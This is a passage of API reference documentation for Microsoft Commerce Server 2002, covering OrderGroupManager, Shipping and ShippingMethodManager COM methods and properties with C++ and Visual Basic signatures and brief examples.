[in, optional, defaultvalue (1)] A long that contains the page number.
PageNumber [Visual Basic]
A Long that contains the page number. This parameter is optional.
outTotalRecordsFound [C++]
[out, optional] A pointer to the VARIANT that contains the total number of records found.
outTotalRecordsFound [Visual Basic]
A Variant that contains the total number of records found. This parameter is optional. This parameter is optional.
pvtRetVal[C++]
[out, retval] A pointer to a VARIANT used to return an ADO recordset of the search results.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains an ADO recordset of the search results.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRetVal and outTotalRecordsFound parameters point to valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.FindTemplatesForUser("{11223344-1122-1122-1122- _
    AABBCCDDEEFF}")

See Also

[C++] OrderGroupManager Object

[C++] Business Process Objects

[Visual Basic] OrderGroupManager Object

[Visual Basic] Business Process Objects


_OrderGroupManager::GetOrderSummary Method [C++]

OrderGroupManager.GetOrderSummary Method [Visual Basic]

Use this method to return a recordset containing the summary information for the order.

Definition

[C++]
HRESULT _OrderGroupManager::GetOrderSummary(
  VARIANT oid
);
[Visual Basic]
Function GetOrderSummary(
  oid
)

Parameters

oid [C++]
[in] A VARIANT that contains the OrderGroup object ID.
oid [Visual Basic]
A Variant that contains the OrderGroup object ID.

Return Values

[C++] This method returns a Recordset object containing the information described.

[Visual Basic] This method returns a recordset object containing the information described.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method returns the keys saved_cy_adjust_subtotal and total_line_items for the given order_group_id.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oid is a Variant containing a valid OrderGroupID
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.GetOrderSummary(oid)

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::Initialize Method [C++]

OrderGroupManager.Initialize Method [Visual Basic]

Use this method to create a connection to the specified database.

Definition

[C++]
HRESULT _OrderGroupManager::Initialize(
  VARIANT* ConnectionString
);
[Visual Basic]
Sub Initialize(
  ConnectionString As Variant
)

Parameters

ConnectionString [C++]
[in] A pointer to a VARIANT that contains the database connection string.
ConnectionString [Visual Basic]
A Variant that contains the database connection string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vConnectionString is a Variant containing a database connection string
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.Initialize(vConnectionString)

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::SimpleDelete Method [C++]

OrderGroupManager.SimpleDelete Method [Visual Basic]

Use this method to delete all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.

Definition

[C++]
HRESULT _OrderGroupManager::SimpleDelete(
  _SimpleFindSearchInfo* sfSearchInfo,
  _SimpleFindResultInfo* sfResultInfo,
);
[Visual Basic]
Sub SimpleDelete(
  sfSearchInfo As Object,
  sfResultInfo As Object
)

Parameters

sfSearchInfo [C++]
[in] A reference to a _SimpleFindSearchInfo object that contains the search criteria.
sfSearchInfo [Visual Basic]
A SimpleFindSearchInfo object that contains the search criteria.
sfResultInfo [C++]
[in] A reference to a _SimpleFindResultInfo object that contains the search criteria.
sfResultInfo [Visual Basic]
A SimpleFindResultInfo object that contains the search criteria.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vResult is a Variant
' oSimpleFindSearchInfo is a Commerce SimpleFindSearchInfo object
' oSimpleFindResultInfo is a Commerce SimpleFindResultInfo object
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.SimpleDelete(oSimpleFindSearchInfo, _
    oSimpleFindResultInfo)

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::SimpleFind Method [C++]

OrderGroupManager.SimpleFind Method [Visual Bas Methodic]

Use this method to retrieve an ADO recordset of OrderGroup objects based on the specified SimpleFindSearchInfo and SimpleFindResultInfo object values. These object values contain the search criteria.

Definition

[C++]
HRESULT _OrderGroupManager::SimpleFind(
  _SimpleFindSearchInfo* sfSearchInfo,
  _SimpleFindResultInfo* sfResultInfo,
  VARIANT* outTotalRecordsFound,
  VARIANT* pvtRetVal
);
[Visual Basic]
Function SimpleFind(
  sfSearchInfo As Object,
  sfResultInfo As Object,
  Optional outTotalRecordsFound As Variant
) As Variant

Parameters

sfSearchInfo [C++]
[in] A pointer to the _SimpleFindSearchInfo interface of a SimpleFindSearchInfo object that contains the search criteria.
sfSearchInfo [Visual Basic]
A SimpleFindSearchInfo object that contains the search criteria.
sfResultInfo [C++]
[in] A pointer to the _SimpleFindResultInfo interface of a SimpleFindResultInfo object that contains the search criteria.
sfResultInfo [Visual Basic]
A SimpleFindResultInfo object that contains the search criteria.
outTotalRecordsFound [C++]
[out] A pointer to a VARIANT that contains the total number of records found.
outTotalRecordsFound [Visual Basic]
A Variant that contains the total number of records found.
pvtRetVal [C++]
[out, retval] A pointer to a VARIANT used to return the search result recordset of OrderGroup items.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO recordset that contains the search result OrderGroup objects.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRetVal and outTotalRecordsFound parameters point to valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Dim oSFSearch, sReqID, oOGMgr
' oOGMgr is a Commerce.OrderGroupManager object
Set oSFSearch = Server.CreateObject("Commerce.SimpleFindSearchInfo")
' Search for this OrderGroup ID
sReqID ="754C40C6-EAA9-454C-A8AB-02789FBE0FB9"
oSFSearch.ordergroup_id = sReqID

Dim oSFResult
Set osfResult =Server.CreateObject("Commerce.SimpleFindResultInfo")
oSFResult.JoinLineItemInfo = True
oSFResult.JoinOrderFormInfo = True

Dim oRSResults
Set oRSResults=Server.CreateObject("ADODB.Recordset")

Set oRSResults= oOGMgr.SimpleFind(oSFSearch, oSFResult)

See Also

[C++] Business Process Objects

[C++] OrderGroupManager Object

[Visual Basic] Business Process Objects

[Visual Basic] OrderGroupManager Object


_OrderGroupManager Properties [C++]

OrderGroupManager Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
DebugReturnSQL | VARIANT_BOOL | Determines if methods of this object will run a SQL Server query and return the resulting recordset, or if it will construct the SQL Server query and return the query string. This property is read/write.
OrderFormHeaderColumns | VARIANT | Returns a string of comma-separated OrderFormHeader table column names. This property is read-only.
OrderFormLineItemsColumns | VARIANT | Returns a string of comma-separated OrderFormLineItems table column names. This property is read-only.
OrderGroupColumns | VARIANT | Returns a string of comma-separated OrderGroup table column names. This property is read-only.
[Visual Basic]
Property | Type | Description
DebugReturnSQL | Boolean | Determines if methods of this object will run a SQL Server query and return the resulting recordset, or if it will construct the SQL Server query and return the query string. This property is read/write.
OrderFormHeaderColumns | Variant | Returns a string of comma-separated OrderFormHeader table column names. This property is read-only.
OrderFormLineItemsColumns | Variant | Returns a string of comma-separated OrderFormLineItems table column names. This property is read-only.
OrderGroupColumns | Variant | Returns a string of comma-separated OrderGroup table column names. This property is read-only.


_OrderGroupManager::get_DebugReturnSQL, put_DebugReturnSQL Property [C++]

OrderGroupManager.DebugReturnSQL Property [Visual Basic]

The DebugReturnSQL property is a read/write Boolean that determines if the methods of the OrderGroupManager object will run a SQL Server query and return the resulting recordset, or if it will construct the SQL Server query and return the query string. This property is intended for internal use only and should not be called externally.

Definition

[C++]

Get method:

HRESULT _OrderGroupManager::get_DebugReturnSQL(
  VARIANT_BOOL DebugReturnSQL
);

Put method:

HRESULT _OrderGroupManager::put_DebugReturnSQL(
  VARIANT_BOOL DebugReturnSQL
);
[Visual Basic]
Property DebugReturnSQL () As Boolean

Parameters

DebugReturnSQL [C++]
[in] When putting a value, a VARIANT_BOOL used to determine if methods of this object will run a SQL Server query, or if they will debug the SQL Server connection string.
[out, retval] When getting a value, a VARIANT_BOOL used to determine if methods of this object will run a SQL Server query, or if they will debug the SQL Server connection string.

None.[Visual Basic]

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

If the DebugReturnSQL property is set to False, then the methods such as OrderGroupManager.Find and OrderGroupManager.SimpleFind construct the appropriate SQL Server query, run the query, and return the resulting recordset.

If the DebugReturnSQL property is set to True, then the methods such as OrderGroupManager.Find and OrderGroupManager.SimpleFind construct the appropriate SQL Server query and return the query string.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::get_OrderFormHeaderColumns Property[C++]

OrderGroupManager.OrderFormHeaderColumns Property [Visual Basic]

The OrderFormHeaderColumns property is a read-only Variant that contains a collection of OrderFormHeader table column names.

Definition

[C++]
HRESULT _OrderGroupManager::get_OrderFormHeaderColumns(
  VARIANT* OrderFormHeaderColumns
);
[Visual Basic]
Property OrderFormHeaderColumns As Variant

Parameters

OrderFormHeaderColumns [C++]
[out, retval] A pointer to a VARIANT used to return a collection of OrderFormHeader table column names.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

[C++] The OrderFormHeaderColumns parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::get_OrderFormLineItemsColumns Property [C++]

OrderGroupManager.OrderFormLineItemsColumns Property [Visual Basic]

The OrderFormLineItemsColumns property is a read-only Variant that contains a collection of OrderFormLineItems table column names.

Definition

[C++]
HRESULT _OrderGroupManager::get_OrderFormLineItemsColumns(
  VARIANT* OrderFormLineItemsColumns
);
[Visual Basic]
Property OrderFormLineItemsColumns As Variant

Parameters

OrderFormLineItemsColumns [C++]
[out, retval] A pointer to a VARIANT used to return a collection of OrderFormLineItems table column names.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

[C++] The OrderFormLineItemsColumns parameter contains valid data only if the parameter is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


_OrderGroupManager::get_OrderGroupColumns Property [C++]

OrderGroupManager.OrderGroupColumns Property [Visual Basic]

The OrderGroupColumns property is a read-only Variant that contains a collection of OrderGroup table column names.

Definition

[C++]
HRESULT _OrderGroupManager::get_OrderGroupColumns(
  VARIANT* OrderGroupColumns
);
[Visual Basic]
Property OrderGroupColumns As Variant

Parameters

OrderGroupColumns [C++]
[out, retval] A pointer to a VARIANT used to return the collection of OrderGroup column names.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

[C++] The OrderGroupColumns parameter contains valid data only if the parameter is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] OrderGroupManager Object

[Visual Basic] OrderGroupManager Object


Shipping Object [C++]

Shipping Object [Visual Basic]

Use this object to create shipping cost preview information.

ProgID: | Commerce.Shipping (Externally creatable)
COM Class Name: | Shipping
Type Library Name: | Microsoft Commerce 2002 Shipping Components Type Library
DLL Name: | shipmgr.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _Shipping
Interface ID Constant: | None
Header File: | None
[C++]

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
PreviewShipments | Divides an order into shipments and produces shipping cost previews for each shipment using each method.
[Visual Basic]
Method | Description
PreviewShipments | Divides an order into shipments and produces shipping cost previews for each shipment using each method.


_Shipping Methods [C++]

Shipping Methods [Visual Basic]

Methods

[C++]
Method | Description
PreviewShipments | Divides an order into shipments and produces shipping cost previews for each shipment using each method.
[Visual Basic]
Method | Description
PreviewShipments | Divides an order into shipments and produces shipping cost previews for each shipment using each method.


_Shipping::PreviewShipments Method [C++]

Shipping.PreviewShipments Method [Visual Basic]

Use this method to create shipment preview information.

Definition

[C++]
HRESULT _Shipping::PreviewShipments(
  VARIANT* orderform,
  VARIANT* context,
  VARIANT* ShipmentDistinguishers,
  VARIANT* ShippingPreview
);
[Visual Basic]
Function PreviewShipments(
  orderform As Variant,
  context As Variant,
  ShipmentDistinguishers As Variant
) As Variant

Parameters

orderform [C++]
[in] A pointer to a VARIANT containing the OrderForm dictionary for which to calculate shipping cost previews.
orderform [Visual Basic]
The OrderForm object for which to calculate shipping cost previews.
context [C++]
[in] A pointer to a VARIANT containing the Context dictionary to use to run the shipping components.
context [Visual Basic]
The Context dictionary to use to run the shipping components.
ShipmentDistinguishers [C++]
[in] A pointer to a VARIANT containing a SIMPLEARRAY of strings containing the line item attributes (keys) to use to split the order into shipments.
ShipmentDistinguishers [Visual Basic]
An array of strings containing the line item attributes (keys) to use to split the order into shipments.
ShippingPreview [C++]
[out, retval] A pointer to a VARIANT used to return a Simplelist of dictionaries, one for each shipment, which in turn contain a Simplelist of dictionaries containing the shipping cost previews, one for each shipping method.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Simplelist of dictionaries, one for each shipment, which in turn contains a Simplelist of dictionaries containing the shipping cost previews, one for each shipping method.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The ShippingPreview parameter points to valid data only if the method completes successfully.

The PreviewShipments method creates the shipping cost previews by splitting the order into individual shipments. The mechanism used is the same as the Splitter pipeline component. For more information about how shipment distinguishers are used to split shipments, see Splitter.

The PreviewShipments method returns a SimpleList of dictionaries, one for each shipment. Each shipment dictionary in turn contains a SimpleList of dictionaries each of which contains the shipping cost for using a particular shipping method.

For example code showing how to loop through the preview shipments, see Previewing Shipping Costs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oShip is a Commerce.Shipping object
' dOrder and dContext are Commerce.Dictionary objects
' ADistinguishers is an Array of strings naming line items
' slShipments is a SimpleList of dictionary or orderform objects

slShipments = oShip.PreviewShipments(dOrder, dContext, _
Distinguishers)

See Also

Previewing Shipping Costs

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager Object [C++]

ShippingMethodManager Object [Visual Basic]

Use this object to manage shipping methods that will be available on the site. Using the ShippingMethodManager object, you can add and remove methods, set their description, availability, and configuration.

ProgID: | Commerce.ShippingMethodManager (Externally creatable)
COM Class Name: | ShippingMethodManager
Type Library Name: | Microsoft Commerce 2002 Shipping Components Type Library
DLL Name: | shipmgr.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _ShippingMethodManager
Interface ID Constant: | None
Header File: | None
[C++]

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
CreateMethodInstance | Creates an empty instance of a shipping method.
DeleteMethodInstance | Deletes the current shipping method instance.
GetComponentConfig | Retrieves the Configuration dictionary for the shipping component, which implements the current shipping method.
GetInstalledMethodList | Returns a recordset containing the current shipping methods.
GetMethodInfo | Returns a recordset containing information about one or more shipping methods.
Initialize | Initializes the ShippingMethodManager object and connects it to a database.
LoadMethodInstance | Loads a given shipping method to be manipulated by other methods.
SaveMethodConfig | Saves configuration information about the current method.
SetCachableComponentConfig | Saves configuration and other component information for a component.
SetMethodConfig | Sets name/value pairs for the current method.
[Visual Basic]
Method | Description
CreateMethodInstance | Creates an empty instance of a shipping method.
DeleteMethodInstance | Deletes the current shipping method instance.
GetComponentConfig | Retrieves the Configuration dictionary for the shipping component, which implements the current shipping method.
GetInstalledMethodList | Returns a recordset containing the current shipping methods.
GetMethodInfo | Returns a recordset containing information about the loaded shipping method.
Initialize | Initializes the ShippingMethodManager object and connects it to a database.
LoadMethodInstance | Loads a given shipping method to be manipulated by other methods.
SaveMethodConfig | Saves configuration information about the current method.
SetCachableComponentConfig | Saves configuration and other component information for a component.
SetMethodConfig | Sets name/value pairs for the current method.

Remarks

The shipping architecture in Commerce Server 2002 is designed so that shipping methods can be changed through the Shipping Methods module in Commerce Server Business Desk without programming or editing pipelines. To do this, Commerce Server maintains a database table, ShippingConfig, of shipping methods and the information required to configure shipping components to implement those methods.

The ShippingMethodManager object is used by Business Desk to manage the ShippingConfig database table.

For more information about shipping objects, see Multiple-shipment Shipping Architecture.


_ShippingMethodManager Methods [C++]

ShippingMethodManager Methods [Visual Basic]

Methods

[C++]
Method | Description
CreateMethodInstance | Creates an empty instance of a shipping method.
DeleteMethodInstance | Deletes the current shipping method instance.
GetComponentConfig | Retrieves the Configuration dictionary for the shipping component, which implements the current shipping method.
GetInstalledMethodList | Returns a recordset containing the current shipping methods.
GetMethodInfo | Returns a recordset containing information about one or more shipping methods.
Initialize | Initializes the ShippingMethodManager object and connects it to a database.
LoadMethodInstance | Loads a given shipping method to be manipulated by other methods.
SaveMethodConfig | Saves configuration information about the current method.
SetCachableComponentConfig | Saves configuration and other component information for a component.
SetMethodConfig | Sets name/value pairs for the current method.
[Visual Basic]
Method | Description
CreateMethodInstance | Creates an empty instance of a shipping method.
DeleteMethodInstance | Deletes the current shipping method instance.
GetComponentConfig | Retrieves the Configuration dictionary for the shipping component, which implements the current shipping method.
GetInstalledMethodList | Returns a recordset containing the current shipping methods.
GetMethodInfo | Returns a recordset containing information about the loaded shipping method.
Initialize | Initializes the ShippingMethodManager object and connects it to a database.
LoadMethodInstance | Loads a given shipping method to be manipulated by other methods.
SaveMethodConfig | Saves configuration information about the current method.
SetCachableComponentConfig | Saves configuration and other component information for a component.
SetMethodConfig | Sets name/value pairs for the current method.


_ShippingMethodManager::CreateMethodInstance Method [C++]

ShippingMethodManager.CreateMethodInstance Method [Visual Basic]

Use this method to create a new shipping method.

Definition

[C++]
HRESULT __ShippingMethodManager::CreateMethodInstance(
  VARIANT* bOnDisk,
  VARIANT* sMethodId
);
[Visual Basic]
Function CreateMethodInstance(
  bOnDisk As Variant
) As Variant

Parameters

bOnDisk [C++]
[in] A VARIANT containing a Boolean indicating whether or not to create the shipping method on disk. This parameter is usually set to True
bOnDisk [Visual Basic]
A Variant containing a Boolean indicating whether or not to create the shipping method on disk. This parameter is usually set to True.
sMethodId [C++]
[out, retval] A VARIANT containing a BSTR that is the method ID of the new method. Set to an empty string if the bOnDisk parameter is False.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing a string that is the method ID of the new shipping method. This method returns an empty string when the bOnDisk parameter is False.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The sMethodId parameter contains valid data only if the method completes successfully.

If the shipping method is created to be saved on disk (the bOnSaved parameter is True), the function adds a new record to the current recordset with the enabled column value set to zero (0) and the shipping_method_id column set to the new shipping method ID.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Initialize the ShippingMethodManager object.
' oSMM is a Commerce.ShippingMethodManager object.
' MSCSTransactionConfigConnStr is sConnectionString, a string containing
' the connection string.

Call oSMM.Initialize(MSCSTransactionConfigConnStr)

' Create a new shipping method.
' bOnDisk is set to True.
' sShippingMethodID is sMethodID.
sShippingMethodID = oSMM.CreateMethodInstance(True)

' Set the configuration data for the pipeline component.
' sProgID, sAction, and sActionFrientlyName are strings.
' dConfigDict is a Commerce.Dictionary object.

Call oSMM.SetCachableComponentConfig(sProgID, dConfigDict, _
                 sAction, sActionFriendlyName)

' Set properties for the shipping method.

Call oSMM.SetMethodConfig(Array("shipping_method_name", "My Shipping Method", "description", "Cheapest but slowest shipping method", "enabled", 1))

' Save the configured shipping method.
oSMM.SaveMethodConfig

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::DeleteMethodInstance Method [C++]

ShippingMethodManager.DeleteMethodInstance Method [Visual Basic]

Use this method to delete the current shipping method instance.

Definition

[C++]
HRESULT _ShippingMethodManager::DeleteMethodInstance(void);
[Visual Basic]
Sub DeleteMethodInstance()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method acts on the loaded shipping method. You must call the LoadMethodInstance or CreateMethodInstance method to load a shipping method into the ShippingMethodManager object before calling this method.

[Visual Basic]

Example

' oSMM is an initialized Commerce.ShippingMethodManager object.
' sMethodId is set to sShippingMethodId,
' the method ID of the new method.

Call oSMM.LoadMethodInstance(sShippingMethodId)
oSMM.DeleteMethodInstance

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::GetComponentConfig Method [C++]

ShippingMethodManager.GetComponentConfig Method [Visual Basic]

Use this method to retrieve the Configuration dictionary for the shipping component to implement the current shipping method. The shipping method must be loaded using the LoadMethodInstance method before calling the GetComponentConfig method.

Definition

[C++]
HRESULT _ShippingMethodManager::GetComponentConfig(
  VARIANT* dConfig
);
[Visual Basic]
Function GetComponentConfig() As Variant

Parameters

dConfig [C++]
[out, retval] A pointer to a VARIANT containing the Configuration dictionary.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the Configuration dictionary for the current shipping method.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method acts on the loaded shipping method. You must call the LoadMethodInstance or CreateMethodInstance method to load a shipping method into the ShippingMethodManager object before calling this method.

[C++]

The dConfig parameter points to valid data only if the method completes successfully.

[Visual Basic]

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oSMM is an initialized, loaded Commerce.ShippingMethodManager object.

Set dConfig = oSMM.GetComponentConfig

See Also

Splitter

[Visual Basic] Shipping Object

[C++] Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

[Visual Basic] ShippingMethodManager Object

[C++] ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


_ShippingMethodManager::GetInstalledMethodList Method [C++]

ShippingMethodManager.GetInstalledMethodList Method [Visual Basic]

Use this method to get a list of the current shipping methods. The GetInstalledMethodList method allows you to filter the list, select the columns to return, and to sort the list into a particular order.

Definition

[C++]
HRESULT _ShippingMethodManager::GetInstalledMethodList(
  VARIANT* Filter,
  VARIANT* OrderBy,
  VARIANT* columns,
  VARIANT* rsReturn
);
[Visual Basic]
Function GetInstalledMethodList(
  Filter As Variant,
  OrderBy As Variant,
  columns As Variant
) As Variant

Parameters

Filter [C++]
